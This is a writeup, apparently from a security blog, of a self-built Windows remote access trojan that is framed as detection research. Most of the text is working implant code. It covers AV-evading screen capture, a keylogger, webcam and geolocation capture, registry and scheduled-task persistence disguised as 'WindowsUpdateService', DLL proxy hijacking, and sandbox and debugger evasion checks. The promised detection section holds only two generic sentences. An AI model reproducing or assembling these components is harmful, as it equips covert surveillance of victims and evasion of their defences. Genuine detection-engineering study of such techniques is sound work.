This writeup documents a research implant I built to understand how commodity RATs work — and more importantly, how to detect them. Every capability shown here has corresponding blue team detection methods. The goal is understanding, not replication.
This implant was built for authorized security research in isolated lab environments. The techniques documented here are common in commodity malware. Understanding them is essential for detection engineering.
Live VNC session demonstrating screen capture, remote control, and C2 communication. Lab environment on authorized infrastructure.
| Capability | Implementation | MITRE ATT&CK |
|---|---|---|
| Screen Capture | Win32 BitBlt (bypasses mss module detection) | T1113 |
| Remote Desktop | pynput mouse/keyboard control | T1021.005 |
| Keylogging | pynput KeyListener hook | T1056.001 |
| Webcam | OpenCV (cv2) VideoCapture | T1125 |
| Audio | pyaudio stream capture | T1123 |
| File Browser | os.listdir + file upload/download | T1083, T1041 |
| Geolocation | Windows Location API via PowerShell | T1614.001 |
| Clipboard | pyperclip get/set | T1115 |
| Persistence | Registry Run + Scheduled Tasks | T1547.001, T1053.005 |
| C2 | WebSocket JSON over TCP 8080 | T1071.001 |
Most Python screen capture uses the mss module. Kaspersky flags mss imports as suspicious because it's common in commodity RATs. The bypass: use raw Win32 BitBlt instead.
# Win32 BitBlt screen capture - avoids mss module detection def capture_screen_win32(): user32 = windll.user32 gdi32 = windll.gdi32 # Get screen dimensions width = user32.GetSystemMetrics(0) height = user32.GetSystemMetrics(1) # Get desktop DC hwnd = user32.GetDesktopWindow() hdc_src = user32.GetWindowDC(hwnd) hdc_dst = gdi32.CreateCompatibleDC(hdc_src) # Create bitmap and BitBlt copy hbmp = gdi32.CreateCompatibleBitmap(hdc_src, width, height) gdi32.SelectObject(hdc_dst, hbmp) gdi32.BitBlt(hdc_dst, 0, 0, width, height, hdc_src, 0, 0, 0x00CC0020) # SRCCOPY # Get raw bitmap bits, convert to image # [buffer handling code - see detection section] # Cleanup handles gdi32.DeleteObject(hbmp) gdi32.DeleteDC(hdc_dst) user32.ReleaseDC(hwnd, hdc_src)
The technique uses standard GDI functions that thousands of legitimate applications call. No suspicious module imports, no behavioral signatures from mss.
Keylogging uses pynput.keyboard.Listener which installs a low-level keyboard hook via SetWindowsHookEx. The hook captures all keystrokes system-wide.
from pynput.keyboard import Listener as KeyListener keylog_buffer = "" def on_key_press(key): global keylog_buffer try: keylog_buffer += key.char except AttributeError: # Special keys keylog_buffer += f"[{key.name}]" # Start listener in background thread listener = KeyListener(on_press=on_key_press) listener.start()
Webcam access uses OpenCV's VideoCapture. Simple, effective, and appears in many legitimate applications.
import cv2 def capture_webcam_frame(): cap = cv2.VideoCapture(0) # Default webcam if cap.isOpened(): ret, frame = cap.read() cap.release() if ret: # Encode to JPEG, base64 for transmission _, buffer = cv2.imencode('.jpg', frame) return base64.b64encode(buffer).decode() return None
The implant uses PowerShell to access Windows Location Services. This requires location permissions but many users have it enabled.
# PowerShell snippet executed by implant GPS_SCRIPT = """ Add-Type -AssemblyName System.Device $watcher = New-Object System.Device.Location.GeoCoordinateWatcher('High') $watcher.Start() # Wait for location fix (max 30 seconds) $timeout = 0 while ($watcher.Status -ne 'Ready' -and $timeout -lt 30) { Start-Sleep -Seconds 1 $timeout++ } if ($watcher.Status -eq 'Ready') { $coord = $watcher.Position.Location $lat = $coord.Latitude.ToString([System.Globalization.CultureInfo]::InvariantCulture) $lng = $coord.Longitude.ToString([System.Globalization.CultureInfo]::InvariantCulture) Write-Output "$lat,$lng" } $watcher.Stop() """
Classic persistence via HKCU\Software\Microsoft\Windows\CurrentVersion\Run. Survives reboots, runs at user login.
import winreg def install_persistence_registry(): exe_path = sys.executable if getattr(sys, 'frozen', False) else __file__ key = winreg.OpenKey( winreg.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\Run", 0, winreg.KEY_SET_VALUE ) winreg.SetValueEx(key, "WindowsUpdateService", 0, winreg.REG_SZ, exe_path) winreg.CloseKey(key)
Creates a scheduled task that runs at logon with highest privileges.
def install_persistence_task(): exe_path = sys.executable if getattr(sys, 'frozen', False) else __file__ cmd = f'schtasks /create /tn "WindowsUpdateService" /tr "{exe_path}" /sc onlogon /rl highest /f' subprocess.run(cmd, shell=True, capture_output=True)
The C version uses DLL proxy hijacking via version.dll. The malicious DLL forwards all legitimate calls to the real version.dll while running implant code.
/* Export forwarding - proxy to real version.dll */ #pragma comment(linker, "/export:GetFileVersionInfoA=C:\\Windows\\System32\\version.GetFileVersionInfoA") #pragma comment(linker, "/export:GetFileVersionInfoW=C:\\Windows\\System32\\version.GetFileVersionInfoW") #pragma comment(linker, "/export:GetFileVersionInfoSizeA=C:\\Windows\\System32\\version.GetFileVersionInfoSizeA") #pragma comment(linker, "/export:GetFileVersionInfoSizeW=C:\\Windows\\System32\\version.GetFileVersionInfoSizeW") #pragma comment(linker, "/export:VerQueryValueA=C:\\Windows\\System32\\version.VerQueryValueA") #pragma comment(linker, "/export:VerQueryValueW=C:\\Windows\\System32\\version.VerQueryValueW") /* DllMain - implant initialization */ BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { /* Start implant thread */ CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)implant_main, NULL, 0, NULL); } return TRUE; }
The C version includes anti-analysis checks to detect virtual machines and sandboxes:
BOOL IsSandboxEnvironment() {
// Check for debugger
if (IsDebuggerPresent()) return TRUE;
// Check PEB BeingDebugged flag
BOOL debugged = FALSE;
__asm {
mov eax, fs:[0x30]
mov al, [eax + 0x2]
mov debugged, al
}
if (debugged) return TRUE;
// Check for sandbox processes
const char* sandboxProcesses[] = {
"vmtoolsd.exe", // VMware
"VBoxService.exe", // VirtualBox
"xenservice.exe", // Xen
"qemu-ga.exe", // QEMU
"sbiesvc.exe", // Sandboxie
"CuckooService.exe" // Cuckoo sandbox
};
// ... process enumeration check ...
}
These checks are well-known to malware analysts. Modern sandboxes hide these artifacts, but commodity malware still uses them.
Detecting this implant requires layered monitoring:
No single indicator is definitive. Correlation across multiple data sources provides the clearest picture.